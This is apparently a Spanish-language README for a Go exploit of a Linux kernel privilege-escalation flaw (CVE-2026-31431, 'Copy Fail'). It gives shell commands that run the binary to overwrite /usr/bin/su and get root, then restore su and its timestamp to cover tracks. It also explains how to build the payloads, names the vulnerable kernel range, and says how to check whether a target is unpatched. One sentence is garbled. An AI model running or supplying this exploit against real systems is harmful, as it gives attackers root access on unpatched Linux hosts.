
Una implementación en Go de copyfail (CVE-2026-31431)
La mayoría de los LPE de Linux necesitan una ventana de carrera o un offset específico del kernel. Copy Fail es una falla lógica en línea recta: no necesita ninguna de las dos. El mismo
script de Python de 732 bytesbinario estático de Go obtiene privilegios root en todas las distribuciones de Linux publicadas desde 2017.
Una implementación en Go de CVE-2026-31431. Por si necesitas un binario estático y sin dependencia de Python.
Consulta copy.fail para más información.
# Get the binary to your Linux host with code execution (exercise for the reader)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su
root@host# cat /tmp/su > /usr/bin/su # Restore the original su binary
root@host# touch -r /tmp/su /usr/bin/su # Restore the modified time of the original su
root@host# rm /tmp/su
root@host# # Do things as root =)
Útil para elevar un programa a root
# Get the binary to your Linux host with code execution (exercise for the reader)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su --exec ./your-binary
user@host$ # Use whatever you ran to restore su from /tmp/su
Compila los payloads tú mismo con payloads/build-n-print.sh en un host Debian (probado con Debian 13).
Necesitarás apt install nasm python3 binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf y luego ejecutar el script desde el directorio de payloads. Compilará cada payload y generará las cadenas hexadecimales comprimidas con zlib. Compáralas con las que están en main.go (o reemplázalas con las tuyas) y compila los binarios copyfile-go con goreleaser build --snapshot --clean desde el directorio principal del proyecto.
floor: torvalds/linux 72548b093ee3 August 2017, v4.14
(AF_ALG iov_iter rework that
introduced the file-page write
primitive via splice into the AEAD
scatterlist)
ceiling: torvalds/linux a664bf3d603d April 2026, mainline
(reverts the 2017 algif_aead
in-place optimization; separates
source and destination scatterlists
so page-cache pages can no longer
be a writable crypto destination)
En el medio: todos los kernels de las principales distribuciones que no aplicaron el backport del fix.
Se confirmó que Ubuntu, RHEL, SUSE, Amazon Linux y Debian eran vulnerables
en sus kernels de imágenes de nube estándar en el momento de la divulgación. Los
backports a nivel de distribución comenzaron a implementarse alrededor del 2026-04-29 junto con la
divulgación pública. Para verificar si un kernel objetivo está dentro de la ventana, comprueba si
a664bf3d603d (o su backport específico de la distribución) está presente en el
git log del kernel o en el changelog de la distribución.